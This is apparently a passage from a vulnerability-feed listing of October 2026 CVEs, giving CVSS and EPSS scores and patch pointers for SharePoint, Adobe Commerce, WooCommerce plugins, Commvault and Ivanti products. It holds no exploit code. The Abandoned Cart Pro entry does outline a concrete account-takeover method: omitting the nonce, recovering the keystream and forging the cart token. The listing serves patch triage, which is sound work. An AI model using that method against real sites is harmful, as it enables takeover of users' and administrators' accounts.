CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70251).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70251&date=2026-10-25).
Sources:
NVD CVE-2026-70251: https://nvd.nist.gov/vuln/detail/CVE-2026-70251
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70251&date=2026-10-25
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70246
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70246).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70246&date=2026-10-25).
Sources:
NVD CVE-2026-70246: https://nvd.nist.gov/vuln/detail/CVE-2026-70246
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70246
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70246&date=2026-10-25
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70202
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70202).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70202&date=2026-10-25).
Sources:
NVD CVE-2026-70202: https://nvd.nist.gov/vuln/detail/CVE-2026-70202
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70202&date=2026-10-25
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88166
Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88166).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88166&date=2026-10-25).
Sources:
NVD CVE-2026-88166: https://nvd.nist.gov/vuln/detail/CVE-2026-88166
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88166
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88166&date=2026-10-25
Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88163
Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88163).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88163&date=2026-10-25).
Sources:
NVD CVE-2026-88163: https://nvd.nist.gov/vuln/detail/CVE-2026-88163
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88163
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88163&date=2026-10-25
Integer overflow or wraparound in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88155
Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88155).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88155&date=2026-10-25).
Sources:
NVD CVE-2026-88155: https://nvd.nist.gov/vuln/detail/CVE-2026-88155
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88155&date=2026-10-25
Heap-based buffer overflow in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85900
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85900).
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85900&date=2026-10-25).
Sources:
NVD CVE-2026-85900: https://nvd.nist.gov/vuln/detail/CVE-2026-85900
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85900&date=2026-10-25
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-88206
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88206).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88206&date=2026-10-25).
Sources:
NVD CVE-2026-88206: https://nvd.nist.gov/vuln/detail/CVE-2026-88206
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88206
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88206&date=2026-10-25
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-88200
Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88200).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88200&date=2026-10-25).
Sources:
NVD CVE-2026-88200: https://nvd.nist.gov/vuln/detail/CVE-2026-88200
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88200
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88200&date=2026-10-25
Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-88198
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88198).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88198&date=2026-10-25).
Sources:
NVD CVE-2026-88198: https://nvd.nist.gov/vuln/detail/CVE-2026-88198
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88198&date=2026-10-25
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and...
https://kevwire.com/record/CVE-2026-97657
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and... (Oct 14, 2026).
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and including, 10.8.0. This is due to the use of MAC-free AES-CTR encryption for cart-recovery link tokens — where the 8-byte CTR nonce is carried inside the ciphertext blob and the encryption key is looked up using the attacker-supplied `user_email` GET parameter — combined with an HMAC nonce check in `wcap_email_track_links()` that is only enforced when the `wcap_nonce` parameter is non-empty, allowing complete bypass by omission, and an insecure direct object reference on the decrypted `abandoned_id` with no ownership verification confirming the cart belongs to the email used for decryption. This makes it possible for unauthenticated attackers who possess a single legitimate cart-recovery link (obtained from their own reminder email) to recover the keystream, forge a ciphertext that decrypts to any victim's cart ID, and trigger a call to `wp_set_auth_cookie()` for the victim user — achieving full account takeover of any user who has ever abandoned a cart, including administrators. The auto-login feature defaults to enabled and is forced on during plugin upgrades, meaning all affected installations are exploitable without any additional configuration.
CVSS 9.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97657).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97657&date=2026-10-25).
Sources:
NVD CVE-2026-97657: https://nvd.nist.gov/vuln/detail/CVE-2026-97657
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97657&date=2026-10-25
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and including, 10.8.0. This is due to the use of MAC-free AES-CTR encryption for cart-recovery link tokens — where the 8-byte CTR nonce is carried inside the ciphertext blob and the encryption key is looked up using the attacker-supplied `user_email` GET parameter — combined with an HMAC nonce check in `wcap_email_track_links()` that is only enforced when the `wcap_nonce` parameter is non-empty, allowing complete bypass by omission, and an insecure direct object reference on the decrypted `abandoned_id` with no ownership verification confirming the cart belongs to the email used for decryption. This makes it possible for unauthenticated attackers who possess a single legitimate cart-recovery link (obtained from their own reminder email) to recover the keystream, forge a ciphertext that decrypts to any victim's cart ID, and trigger a call to `wp_set_auth_cookie()` for the victim user — achieving full account takeover of any user who has ever abandoned a cart, including administrators. The auto-login feature defaults to enabled and is forced on during plugin upgrades, meaning all affected installations are exploitable without any additional configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form...
https://kevwire.com/record/CVE-2026-92911
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form... (Oct 13, 2026).
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 8.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92911).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92911&date=2026-10-25).
Sources:
NVD CVE-2026-92911: https://nvd.nist.gov/vuln/detail/CVE-2026-92911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92911&date=2026-10-25
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields.
https://kevwire.com/record/CVE-2026-91013
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. (Oct 13, 2026).
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 9.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91013).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91013&date=2026-10-25).
Sources:
NVD CVE-2026-91013: https://nvd.nist.gov/vuln/detail/CVE-2026-91013
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91013&date=2026-10-25
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3...
https://kevwire.com/record/CVE-2026-78193
The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3... (Oct 14, 2026).
The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection fires during identity linking, before ProductController::push() executes, meaning exploitation succeeds even if downstream product handling would otherwise reject the request.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78193).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78193&date=2026-10-25).
Sources:
NVD CVE-2026-78193: https://nvd.nist.gov/vuln/detail/CVE-2026-78193
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78193&date=2026-10-25
The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection fires during identity linking, before ProductController::push() executes, meaning exploitation succeeds even if downstream product handling would otherwise reject the request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CVFS contained a missing authentication condition affecting command execution.
https://kevwire.com/record/CVE-2026-77096
CVFS contained a missing authentication condition affecting command execution. (Oct 13, 2026).
CVFS contained a missing authentication condition affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.
CVSS 7.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77096).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77096&date=2026-10-25).
Sources:
NVD CVE-2026-77096: https://nvd.nist.gov/vuln/detail/CVE-2026-77096
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77096&date=2026-10-25
CVFS contained a missing authentication condition affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CvFWD contained a null pointer dereference affecting service availability.
https://kevwire.com/record/CVE-2026-77095
CvFWD contained a null pointer dereference affecting service availability. (Oct 13, 2026).
CvFWD contained a null pointer dereference affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77095).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77095&date=2026-10-25).
Sources:
NVD CVE-2026-77095: https://nvd.nist.gov/vuln/detail/CVE-2026-77095
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77095&date=2026-10-25
CvFWD contained a null pointer dereference affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CvFWD contained an out-of-bounds write affecting service availability.
https://kevwire.com/record/CVE-2026-77094
CvFWD contained an out-of-bounds write affecting service availability. (Oct 13, 2026).
CvFWD contained an out-of-bounds write affecting service availability.  Software customers upgrade to resolved maintenance release. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77094).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77094&date=2026-10-25).
Sources:
NVD CVE-2026-77094: https://nvd.nist.gov/vuln/detail/CVE-2026-77094
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77094&date=2026-10-25
CvFWD contained an out-of-bounds write affecting service availability.  Software customers upgrade to resolved maintenance release. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CvFWD contained an integer overflow affecting service availability.
https://kevwire.com/record/CVE-2026-77093
CvFWD contained an integer overflow affecting service availability. (Oct 13, 2026).
CvFWD contained an integer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77093).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77093&date=2026-10-25).
Sources:
NVD CVE-2026-77093: https://nvd.nist.gov/vuln/detail/CVE-2026-77093
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77093&date=2026-10-25
CvFWD contained an integer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure.
https://kevwire.com/record/CVE-2026-77090
CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure. (Oct 13, 2026).
CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure.  Software customers upgrade to resolved maintenance release. Update CVFS.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77090).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77090&date=2026-10-25).
Sources:
NVD CVE-2026-77090: https://nvd.nist.gov/vuln/detail/CVE-2026-77090
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77090&date=2026-10-25
CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure.  Software customers upgrade to resolved maintenance release. Update CVFS.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HyperScale contained a path traversal issue affecting information disclosure.
https://kevwire.com/record/CVE-2026-18228
HyperScale contained a path traversal issue affecting information disclosure. (Oct 13, 2026).
HyperScale contained a path traversal issue affecting information disclosure.  Software customers upgrade to resolved maintenance release. Update Commvault installation of HyperScale MediaAgents.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18228).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18228&date=2026-10-25).
Sources:
NVD CVE-2026-18228: https://nvd.nist.gov/vuln/detail/CVE-2026-18228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18228&date=2026-10-25
HyperScale contained a path traversal issue affecting information disclosure.  Software customers upgrade to resolved maintenance release. Update Commvault installation of HyperScale MediaAgents.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information.
https://kevwire.com/record/CVE-2026-109412
An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information. (Oct 13, 2026).
An exposed dangerous endpoint in Ivanti Neurons Patch for Intune allows a remote authenticated attacker to leak sensitive authentication information.
